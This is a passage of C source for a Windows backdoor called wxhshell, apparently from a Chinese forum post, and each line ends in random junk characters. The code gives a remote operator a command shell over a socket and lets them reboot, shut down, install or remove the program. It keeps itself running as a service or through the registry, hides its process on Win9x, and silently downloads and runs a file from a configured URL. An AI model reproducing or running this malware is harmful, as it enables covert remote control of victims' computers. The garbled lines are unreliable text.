  else { <"hb#Tn  
 <V7SSm  
    switch(cmd[0]) { j.<:00<  
  (W7;}gysh  
  // 帮助 i5.?g<.H  
  case '?': { &fCP2]hj'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S@9w'upd  
    break; iJ,M-GHK  
  } YR?3 61FK  
  // 安装 $K+4C0wX`  
  case 'i': { +.S#=  
    if(Install()) P/C&R-{')  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S&5Q~}{,  
    else mfu*o0   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g8LT7  
    break; di"C]" ;  
    } 5ze`IY  
  // 卸载 I/mvQxp  
  case 'r': { !'Pk jP  
    if(Uninstall()) VV?]U$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y0@'za^y  
    else "kcpA#uD|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c:3@[nF~  
    break; 1P(%9  
    } $7msL#E7  
  // 显示 wxhshell 所在路径 XC*uz  
  case 'p': { |P^]@om  
    char svExeFile[MAX_PATH]; BjH~Ml2  
    strcpy(svExeFile,"\n\r"); =Dh$yC-Zr  
      strcat(svExeFile,ExeFile); oP+kAV#]  
        send(wsh,svExeFile,strlen(svExeFile),0); TTeAa  
    break; ;[FW!  
    }  KYnW7|*  
  // 重启 Sg/:n,68  
  case 'b': { !S~,> ,yd  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O3_D~O ."  
    if(Boot(REBOOT)) n^* >a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @*CAn(@#N  
    else { ;[;)P tFz\  
    closesocket(wsh); LN@lrC7X  
    ExitThread(0); C$$"{FfgU"  
    } Ix*BI9E  
    break; [LJ705t  
    } 4C l, Iw/;  
  // 关机 fKPiRlLS  
  case 'd': { JVD@I{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q,<n,0)K  
    if(Boot(SHUTDOWN)) jz|Wj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ybD{4&ZE  
    else { l4iuu  
    closesocket(wsh); W2}%zux  
    ExitThread(0); Py|H? ,6=  
    } i0,%}{`  
    break; Ul '~opf  
    } c+@d'yR  
  // 获取shell o,*folL  
  case 's': { 4y|xUO:  
    CmdShell(wsh); cEDDO&u  
    closesocket(wsh); hknwis%y  
    ExitThread(0); fl} rz  
    break; E9yFREvQc  
  } "2)+)Db  
  // 退出 :'5G_4y)h  
  case 'x': { xDPQG`6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wm); aWP  
    CloseIt(wsh); s,eld@  
    break; >/7KL2*  
    } 2uvQf&,  
  // 离开 M[:O(  
  case 'q': { F,' ^se4&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ddUjs8VvJ  
    closesocket(wsh); `U {o:  
    WSACleanup(); {toyQ)C7  
    exit(1); :)KTZ  
    break; Ybs=W< -  
        } 844tXMtPB\  
  } vDu0  
  } tb-OKZq  
uB5h9&57  
  // 提示信息 t 3(%UB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o~i]W.SI(  
} 8gVxiFjo  
  } 5?V?  
lH#@^i|G  
  return; Z]mM  
} /E`l:&89)  
l%sp[uqcg  
// shell模块句柄 {ED(O -W  
int CmdShell(SOCKET sock) 5]4<!m  
{ 6MLN>)t  
STARTUPINFO si; 6 . +[ z  
ZeroMemory(&si,sizeof(si)); 2+T8Y,g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1R5\GKF6o  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l|@/?GaH  
PROCESS_INFORMATION ProcessInfo; GibggOj2Q,  
char cmdline[]="cmd"; ^}i5 0SG:y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xZ9}8*Q&:  
  return 0; :GwSs'$O  
} }S~ysQwT  
)8 "EI-/.  
// 自身启动模式 ,<uiitOo  
int StartFromService(void) l5\B2 +}7  
{ :$SRG^7md  
typedef struct ; McIxvj  
{ r 85Xa'hh  
  DWORD ExitStatus; ?)Czl4J  
  DWORD PebBaseAddress; &xGfkCP.]  
  DWORD AffinityMask; z:ru68  
  DWORD BasePriority; egxJ3.  
  ULONG UniqueProcessId; )Dk0V!%N  
  ULONG InheritedFromUniqueProcessId; +E q~X=x  
}   PROCESS_BASIC_INFORMATION; / K_e;(Y_  
lRF_ k  
PROCNTQSIP NtQueryInformationProcess; 48 c D3w  
H y.3ccZ0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y(c|5CQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $L<_uqSk  
I{?E/Sc  
  HANDLE             hProcess; 7"a`-]Ap  
  PROCESS_BASIC_INFORMATION pbi; APHtJoS  
+!L_E6pyXE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X%4uShM  
  if(NULL == hInst ) return 0;  `5k6s,  
o@<6TlZM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c:h.J4mv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ac5o K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O?j98H Sya  
gCk y(4  
  if (!NtQueryInformationProcess) return 0; =E{{/%u{{S  
9%3 r-U=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F$6])F  
  if(!hProcess) return 0; r?5@Etpg  
Uf7F8JZmM  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <\}Y@g8  
fcE/  
  CloseHandle(hProcess); .UT,lqEkv  
P xP?hk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rx}ujjx  
if(hProcess==NULL) return 0; N1s $3Ul  
\4\\575zp'  
HMODULE hMod; 6PzN>+t^y  
char procName[255]; 7/^TwNsv  
unsigned long cbNeeded; ~q8V<@?  
Zv1Bju*y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BqLtTo?'  
8CnI%_Su  
  CloseHandle(hProcess); Z5*(W;;  
}GoOE=rhY  
if(strstr(procName,"services")) return 1; // 以服务启动 P[#WHbn  
qOcG|UgF  
  return 0; // 注册表启动 aV?}+Y{#  
} skR, M=F~  
9aF..  
// 主模块 :bM$;  
int StartWxhshell(LPSTR lpCmdLine) &-8-xw#.  
{ ~P]HG;$?n  
  SOCKET wsl; -h G 9  
BOOL val=TRUE; F)E7(Un`8  
  int port=0; 0'q(XB`i=  
  struct sockaddr_in door; H%01&u  
?G>5 D`V  
  if(wscfg.ws_autoins) Install(); nIT^'  
Kc9mI>uH  
port=atoi(lpCmdLine); XC$+ `?  
?(,5eg  
if(port<=0) port=wscfg.ws_port; ](9{}DHV  
G7/?hky 0.  
  WSADATA data; qh)!|B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -9H!j4]T?  
DX%8. @  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S,`Sq8H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }<\65 B$1  
  door.sin_family = AF_INET; d,oOn.n&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +4:+qGAJ{  
  door.sin_port = htons(port); *(\;}JF-  
$Va]vC8?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }lNuf u  
closesocket(wsl); Zm; +Ku>  
return 1; <SC|A|  
} ~kj(s>xP  
2,XqslB)  
  if(listen(wsl,2) == INVALID_SOCKET) { ]:E! i^C`Z  
closesocket(wsl); ?CUp&L0-"  
return 1; :S+U}Sm[  
} ,I2re G  
  Wxhshell(wsl); r;%zG Fp  
  WSACleanup(); /[0 /8f6  
u'~b<@wHB  
return 0; P7>C4rmQ  
.z-^Ga*  
} @rK>yPhf  
C>\!'^u1  
// 以NT服务方式启动 QnP?;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ' ! UF&  
{ >h!.Gj  
DWORD   status = 0; 8v)~J}[Bz  
  DWORD   specificError = 0xfffffff; !{]v='   
oVEr{K)  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h4B#T'b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TNFm7}=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L$u&~"z-  
  serviceStatus.dwWin32ExitCode     = 0; qT<qu(V:  
  serviceStatus.dwServiceSpecificExitCode = 0; [>J~M!yu:r  
  serviceStatus.dwCheckPoint       = 0; {ZsWZJ!  
  serviceStatus.dwWaitHint       = 0; 8F\Msx  
Acq>M^E3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^0ZKHR(}e  
  if (hServiceStatusHandle==0) return; j=jrzG+`  
E'BH7JV  
status = GetLastError(); _@~kYz  
  if (status!=NO_ERROR) KEVy%AP=*h  
{ rd 35)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F{H0 %  
    serviceStatus.dwCheckPoint       = 0; -< dMD_  
    serviceStatus.dwWaitHint       = 0; 6m{$rBR  
    serviceStatus.dwWin32ExitCode     = status; ux 79"5qb  
    serviceStatus.dwServiceSpecificExitCode = specificError; L%s4snE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D 917[ <$  
    return; XF f+efh  
  } iJaNP%N  
%}]4Nsde  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i8[Y{a *  
  serviceStatus.dwCheckPoint       = 0; -Ib+/'  
  serviceStatus.dwWaitHint       = 0; N13;hB<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C"` 'Re5)  
} KlqJ EtO_  
@8M2'R\  
// 处理NT服务事件,比如:启动、停止 VF!kr1n!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (Q]Y> '  
{ 4\'81"e i  
switch(fdwControl) Z=t#*"J  
{ #&2N,M!Q  
case SERVICE_CONTROL_STOP: sv{0XVn+^  
  serviceStatus.dwWin32ExitCode = 0; ^Lv ^W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MoR-8vnJ  
  serviceStatus.dwCheckPoint   = 0; _M]rH<h  
  serviceStatus.dwWaitHint     = 0; f_P+qm  
  { Oi%~8J>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @~U6=(+  
  } 9@z|2z2\G  
  return; $?A Uk  
case SERVICE_CONTROL_PAUSE: dZiWVa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u*-<5& X  
  break; ;!Z7-OZX  
case SERVICE_CONTROL_CONTINUE: o` 1V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CT:eV7<>s  
  break; X$h~d8@r  
case SERVICE_CONTROL_INTERROGATE: |XdrO  
  break; #z^1)7  
}; xE-`Bb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6k=Wt7C  
} >5vl{{,$K  
er7/BE&  
// 标准应用程序主函数 09;'z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tG ^?fc  
{ =|V]8 tN  
f!8m  
// 获取操作系统版本 N9h@1'>  
OsIsNt=GetOsVer(); |&RX>UW$W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bvu<IXX=2  
eKFc W5O  
  // 从命令行安装 (xSi6EZ6;  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8qYGlew,  
%b%<g%@i  
  // 下载执行文件 $No>-^ )  
if(wscfg.ws_downexe) { |e; z"-3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >iWf7-:  
  WinExec(wscfg.ws_filenam,SW_HIDE); Cv(N5mA2  
} Ho8.-QSG  
d!z).G  
if(!OsIsNt) { *9{Wn7pck/  
// 如果时win9x,隐藏进程并且设置为注册表启动 %TTL^@1!b  
HideProc(); {*Wwu f.  
StartWxhshell(lpCmdLine); )I-?zyL  
} I;.E}k   
else . .je<   
  if(StartFromService()) H{Y=&#%d  
  // 以服务方式启动 T2_#[bk*d  
  StartServiceCtrlDispatcher(DispatchTable); Ihq@|s8  
else a;owG/\p  
  // 普通方式启动 .,K?\WZ  
  StartWxhshell(lpCmdLine); Wu;|(2I  
|afK"N  
return 0; J8?6G&0H  
}
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只看该作者 1 发表于: 2006-10-10
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